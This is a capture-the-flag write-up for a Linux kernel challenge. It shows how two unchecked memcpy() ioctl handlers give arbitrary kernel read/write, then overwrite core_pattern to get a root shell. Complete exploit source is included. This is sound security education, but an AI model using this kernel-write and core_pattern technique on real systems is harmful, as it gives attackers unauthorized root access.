Turning Two Unsafe memcpy() calls into Kernel Arbitrary Read/Write and a core_pattern lpe

driver4b is a Linux kernel challenge from SECCON Beginners CTF 2023. The module exposes only two ioctl commands and a 256-byte global message buffer. The bug is that both commands use plain memcpy() on an address supplied by userspace.

That gives us both directions of an arbitrary kernel memory primitive:

STORE: attacker-selected address -> g_message
LOAD:  g_message -> attacker-selected address

This is the smallest arbitrary read/write primitive in this kernel series. My linked-list kernel exploit reaches the same capability through a heap overflow and corrupted next pointer instead.

My exploit uses the write direction to replace core_pattern with a piped coredump handler. A deliberate userspace crash makes the kernel run that handler as root. The handler changes /poc into a SUID-root executable, and a second invocation of /poc shell normalizes the process IDs before starting BusyBox sh.

The complete flow is:

create /tmp/core-handler
    -> open /dev/ctf4b
    -> STORE copies "|/tmp/core-handler" into g_message
    -> LOAD copies g_message over core_pattern
    -> dereference NULL in userspace
    -> kernel processes the coredump
    -> core_pattern begins with '|', so the kernel starts /tmp/core-handler
    -> handler runs as root and makes /poc root-owned mode 4755
    -> run /poc shell
    -> SUID starts /poc with effective UID 0
    -> setgid(0) and setuid(0) normalize real, effective, and saved IDs
    -> exec /bin/sh

1. Challenge setup

The supplied header defines the two commands and the fixed transfer size:

#define CTF4B_DEVICE_NAME "ctf4b"

#define CTF4B_IOCTL_STORE 0xC7F4B00
#define CTF4B_IOCTL_LOAD  0xC7F4B01

#define CTF4B_MSG_SIZE 0x100

The driver creates one global message buffer initialized with the challenge welcome string:

char g_message[CTF4B_MSG_SIZE] = "Welcome to SECCON Beginners CTF 2023!";

The module registers a character device and connects module_ioctl() to its unlocked_ioctl operation:

static struct file_operations module_fops = {
  .owner = THIS_MODULE,
  .unlocked_ioctl = module_ioctl,
  .open = module_open,
  .release = module_close,
};

The exploit therefore opens the device exposed by the challenge:

#define CTF4B_DEVICE_NAME "/dev/ctf4b"

const int fd = open(CTF4B_DEVICE_NAME, O_RDWR);
assert(fd > 0);

The release launcher boots the supplied Linux 6.3.2 kernel with nokaslr:

-append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on nokaslr"

This matters because my exploit contains a build-specific absolute address for core_pattern. With KASLR disabled, that address remains stable for this exact kernel image.

SMAP is also disabled in the supplied runtime. That matters because these plain memcpy() calls access userspace pages directly from supervisor mode. With SMAP enabled, those accesses can fault because the driver does not use the normal user-access helpers that temporarily permit access.

driver4b challenge environment The release guest starts as an unprivileged user with the ctf4b device available and core_pattern set to its default value.

2. Root cause in ctf4b.c

The challenge comes with the source file and the complete vulnerable part of the driver is small:

static long module_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
  char *msg = (char*)arg;

  switch (cmd) {
    case CTF4B_IOCTL_STORE:
      /* Store message */
      memcpy(g_message, msg, CTF4B_MSG_SIZE);
      break;

    case CTF4B_IOCTL_LOAD:
      /* Load message */
      memcpy(msg, g_message, CTF4B_MSG_SIZE);
      break;

    default:
      return -EINVAL;
  }

  return 0;
}

The third ioctl argument is an integer-sized value controlled by userspace. The driver casts that value directly to char *:

char *msg = (char*)arg;

The cast does not validate the address and does not copy the pointed-to data. It only tells the compiler to treat the numeric ioctl argument as a pointer.

Kernel code normally uses copy_from_user() and copy_to_user() when crossing the user/kernel boundary. Those helpers validate the userspace range and handle faults. This driver uses plain memcpy(), so msg is treated like a trusted address in the kernel's address space.

The fixed size is always CTF4B_MSG_SIZE, which is 0x100 bytes. There is no request structure, length field, or address validation.

3. Understanding STORE

The STORE operation is:

memcpy(g_message, msg, CTF4B_MSG_SIZE);

Using the real source and destination names:

destination = g_message
source      = ioctl argument
size        = 0x100

If arg points to a userspace buffer, STORE places 256 bytes from that buffer in g_message. This is how my exploit stages the replacement string.

If arg instead contains a readable kernel address, the same operation copies 256 bytes from that kernel address into g_message. A later LOAD into a userspace buffer would expose those bytes, giving an arbitrary kernel read.

STORE is therefore the first half of both useful operations:

userspace buffer --STORE--> g_message        stage attacker data
kernel address   --STORE--> g_message        read kernel data

4. Understanding LOAD

The LOAD operation reverses the copy:

memcpy(msg, g_message, CTF4B_MSG_SIZE);

Its mapping is:

destination = ioctl argument
source      = g_message
size        = 0x100

If arg points to a userspace buffer, LOAD returns the current contents of g_message to the process.

If arg contains a writable kernel address, LOAD copies the attacker-staged g_message into that kernel address. This is the arbitrary kernel write used by the exploit.

The two commands compose into clear primitives:

arbitrary kernel read

kernel source --STORE--> g_message --LOAD--> userspace buffer

arbitrary kernel write

userspace buffer --STORE--> g_message --LOAD--> kernel destination

The final exploit uses only the write chain.

STORE moves the userspace core-handler string |/tmp/core-handler into the module's global g_message buffer. STORE stages the core handler in g_message

Before STORE, g_message contains:

x/s &g_message
0xffffffffc0002160 <g_message>:	"Welcome to SECCON Beginners CTF 2023!"

After STORE, its prefix contains:

x/s &g_message
0xffffffffc0002160 <g_message>:	"|/tmp/core-handler"

5. Passing addresses through ioctl

The exploit keeps the third argument pointer-sized:

static int raw_ioctl(int fd, unsigned long cmd, uintptr_t arg) {
    return ioctl(fd, cmd, (unsigned long)arg);
}

uintptr_t is an unsigned integer type capable of holding a pointer. The wrapper makes it explicit that the third argument is passed as a numeric address, whether that address belongs to userspace or the kernel. It returns the ioctl result unchanged; the current exploit does not check that result.

The important distinction is between an address and the byte stored there:

overwrite       address of the string
*overwrite      first character of the string

For this exploit, STORE receives the address of the source array. LOAD receives the numeric address of the kernel destination.

6. The handout config does not match the supplied kernel

The handout contains the following configuration fragment:

CONFIG_STATIC_USERMODEHELPER=y
CONFIG_STATIC_USERMODEHELPER_PATH="/sbin/modprobe"

If this configuration were active, it would affect more than modprobe_path. CONFIG_STATIC_USERMODEHELPER routes every usermode-helper request through the compiled-in executable:

#ifdef CONFIG_STATIC_USERMODEHELPER
    sub_info->path = CONFIG_STATIC_USERMODEHELPER_PATH;
#else
    sub_info->path = path;
#endif

For a modprobe_path overwrite, the kernel would therefore still execute /sbin/modprobe; the overwritten value would only remain in argv[0]. Likewise, a piped core_pattern value such as |/tmp/core-handler would not directly execute /tmp/core-handler. The executable selected by call_usermodehelper_setup() would still be /sbin/modprobe.

However, the supplied bzImage does not use that configuration. GEF reports:

CONFIG_STATIC_USERMODEHELPER: Disabled
(call_usermodehelper_setup uses dynamic path)

notmatch.png

Disassembly of the actual function confirms that the caller-supplied path is stored in sub_info->path. The prebuilt challenge kernel therefore behaves as if CONFIG_STATIC_USERMODEHELPER=n, despite the setting in handout/src/config.

The option is explicitly designed to route all usermode helpers through one fixed program, not only modprobe, but alos core_pattern. Which was confusing at first, thats why I went for core_pattern exploitation and was not aware that modprobe_path could also be used. But nevertheless this was a good exercise, because I've never done it this way.

7. Staging the core_pattern value

The value written by the exploit is:

char overwrite[] = "|/tmp/core-handler\x00";

The leading pipe is needed because a normal core_pattern value is a filename pattern for a core file. A value whose first byte is | instead selects a program that will receive the coredump through a pipe.

The handler path is absolute:

/tmp/core-handler

The kernel does not invoke this value as a shell command line. It parses the handler program and arguments, then executes the named program.

The explicit \x00 terminates the kernel string. C also adds its normal terminator to the literal, so the local array ends with two zero bytes. The second zero does not change the parsed path.

8. Creating the root helper

Before modifying kernel memory, setup() creates the file named by the new core_pattern:

void setup() {
    system("echo '#!/bin/sh\n"
           "chown root:root /poc\n"
           "chmod 4755 /poc' > /tmp/core-handler");
    system("chmod 755 /tmp/core-handler");
}

9. Writing core_pattern

First we need the address to core_pattern which I obtained through kmagic in GEF.

gef> kmagic
core_pattern    0xffffffff81eb4320    [RW-]

The exploit records that build-specific result as:

uint64_t core_pattern = 0xffffffff81eb4320;

This address belongs to the supplied kernel build and depends on the nokaslr boot. It is not portable to a rebuilt kernel or a boot with KASLR enabled. If its ran with kaslr on we first need a leak and then calculate the offset from kbase.

The transfer width deserves special attention. Linux 6.3 defines CORENAME_MAX_SIZE as 128 in include/linux/binfmts.h, and fs/coredump.c declares:

#define CORENAME_MAX_SIZE 128
static char core_pattern[CORENAME_MAX_SIZE] = "core";

The vulnerable driver always copies 0x100, producing this layout:

256-byte LOAD
├── 128 bytes: core_pattern
└── 128 bytes: adjacent kernel data

The actual exploit performs the write with these two calls:

raw_ioctl(fd, CTF4B_IOCTL_STORE, (uintptr_t)&overwrite);
raw_ioctl(fd, CTF4B_IOCTL_LOAD, core_pattern);

Because overwrite is only 20 bytes, STORE reads roughly 236 bytes beyond that userspace array. LOAD then writes all 256 bytes at core_pattern, including 128 bytes beyond the object into adjacent kernel data. The exploit works on this challenge image, but it does not preserve those adjacent bytes.

Post-write-up note: After writing this article, I noticed that my exploit could be improved with a read-modify-write. to preserve the rest of the core_pattern. It worked but this is more clean.

unsigned char payload[0x100];
static const char pattern[] = "|/tmp/core-handler";

/* Preserve core_pattern and the adjacent 128 bytes. */
raw_ioctl(fd, CTF4B_IOCTL_STORE, core_pattern);
raw_ioctl(fd, CTF4B_IOCTL_LOAD, (uintptr_t)payload);

memcpy(payload, pattern, sizeof(pattern));

raw_ioctl(fd, CTF4B_IOCTL_STORE, (uintptr_t)payload);
raw_ioctl(fd, CTF4B_IOCTL_LOAD, core_pattern);

10. Triggering the coredump

After replacing core_pattern, the exploit deliberately writes through a NULL pointer:

int *p = NULL;
*p = 1;

This is undefined behavior in C, but the compiled challenge binary faults in userspace and does a core dumped error.

At that point core_pattern contains:

|/tmp/core-handler

The leading pipe selects /tmp/core-handler as the coredump program. The kernel starts coredump pipe handlers with privileged credentials, so the script can change /poc to root:root and set mode 4755.

The observed first-stage result is:

~ $ ./poc
Segmentation fault (core dumped)

core_dumped

That crash is expected. It is the trigger that causes the root handler to run.

The same process dies from SIGSEGV, so it cannot start its own second stage. The exploit therefore uses a manual second invocation from the surviving login shell:

./poc shell

root_shell

11. Why the second invocation gets root

The root-shell branch appears before the vulnerable-driver logic:

if (argc == 2 && !strcmp(argv[1], "shell")) {
    if (setgid(0) || setuid(0)) {
        perror("setuid/setgid");
        return 1;
    }
    execl("/bin/sh", "sh", NULL);
    perror("execl");
    return 1;
}

When the unprivileged user starts the now-SUID /poc, the process begins with the user's real UID and effective UID 0. Because it is effectively root, it can call setgid(0) and setuid(0).

The order matters:

setgid(0) -> set the real, effective, and saved group IDs to root
setuid(0) -> set the real, effective, and saved user IDs to root

The || operator short-circuits. If setgid(0) fails, setuid(0) is not called and the error path runs. If both return zero, execution continues.

This ID normalization is especially important in the challenge's BusyBox rootfs. BusyBox is a multi-call binary: it chooses an applet based on the name used to execute it. Copying /bin/sh to a file named rootsh makes BusyBox look for a nonexistent rootsh applet, producing:

rootsh: applet not found

This BusyBox sh also does not support the usual -p option. The exploit does not depend on it. Instead, the SUID C program calls setgid(0) and setuid(0) before execl() replaces it with /bin/sh. BusyBox therefore starts with root as its real, effective, and saved user and group IDs and has no elevated identity left to discard. setgid(0) does not remove supplementary groups; they are not needed by this exploit. I use the same SUID self-reexecution pattern in the Skull ioctl exploit.

The successful result is:

~ $ ./poc shell
~ # cat /root/flag.txt
The flag is written here on the remote server.

The local file is a placeholder. The same root shell can read the real flag on the remote challenge server.

12. End-to-end state changes

The exploit moves data and privilege through four distinct stages:

Stage 1: prepare userspace

overwrite[] = "|/tmp/core-handler\0"
/tmp/core-handler = executable script that changes /poc ownership and mode

Stage 2: prepare kernel data

STORE(&overwrite)
g_message = "|/tmp/core-handler\0..."

Stage 3: replace the coredump policy

LOAD(0xffffffff81eb4320)
core_pattern = "|/tmp/core-handler\0..."

Stage 4: cross the privilege boundary

NULL write -> SIGSEGV -> coredump -> root handler
root handler -> chown root:root /poc -> chmod 4755 /poc
/poc shell -> setgid(0) -> setuid(0) -> /bin/sh

No kernel ROP chain is needed. The kernel performs the arbitrary write through its own vulnerable memcpy(), then its normal coredump mechanism crosses back to a privileged userspace helper. For comparison, The Jumps kernel exploit takes the control-flow route with a stack leak, canary restoration, and a commit_creds() ROP chain.

13. Challenge-specific assumptions

The exploit is intentionally small, but several details are tied to this environment:

  1. GEF resolves core_pattern to 0xffffffff81eb4320 in this exact kernel image, and the release launcher disables KASLR with nokaslr.
  2. STORE reads 256 bytes from a 20-byte local array, and LOAD writes 256 bytes across the 128-byte core_pattern object.
  3. The prebuilt bzImage uses dynamic usermode-helper paths even though the supplied config fragment enables CONFIG_STATIC_USERMODEHELPER.
  4. SMAP is disabled. With SMAP enabled, the driver's plain memcpy() access to userspace pages could fault.
  5. raw_ioctl() returns the ioctl result, but its callers do not check it.
  6. assert(fd > 0) rejects file descriptor zero even though zero is valid.
  7. The NULL dereference is undefined behavior in C. In this build it raises SIGSEGV and terminates the first /poc, so /poc shell is invoked manually from the surviving login shell.

None of these details changes the vulnerability: the root cause remains the two unchecked memcpy() calls using a user-controlled address.

14. Full exploit

This is the exploit used above:

#define _GNU_SOURCE

#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
#include <assert.h>
#include <sys/resource.h>
#include <sched.h>
#include <sys/ioctl.h>

#define CTF4B_DEVICE_NAME "/dev/ctf4b"
#define CTF4B_IOCTL_STORE 0xC7F4B00
#define CTF4B_IOCTL_LOAD  0xC7F4B01

void setup() {
    system("echo '#!/bin/sh\n"
           "chown root:root /poc\n"
           "chmod 4755 /poc' > /tmp/core-handler");
    system("chmod 755 /tmp/core-handler");
}

static int raw_ioctl(int fd, unsigned long cmd, uintptr_t arg) {
    return ioctl(fd, cmd, (unsigned long)arg);
}

int main(int argc, char **argv) {
    if (argc == 2 && !strcmp(argv[1], "shell")) {
        if (setgid(0) || setuid(0)) {
            perror("setuid/setgid");
            return 1;
        }
        execl("/bin/sh", "sh", NULL);
        perror("execl");
        return 1;
    }
    setup();
    char overwrite[] = "|/tmp/core-handler\x00";
    const int fd = open(CTF4B_DEVICE_NAME, O_RDWR);
    assert(fd > 0);
    uint64_t core_pattern = 0xffffffff81eb4320;
    raw_ioctl(fd, CTF4B_IOCTL_STORE, (uintptr_t)&overwrite);
    raw_ioctl(fd, CTF4B_IOCTL_LOAD, core_pattern);

    /*
     * Triggering the core dumped crash
     */
    int *p = NULL;
    *p = 1;
    return 0;
}

References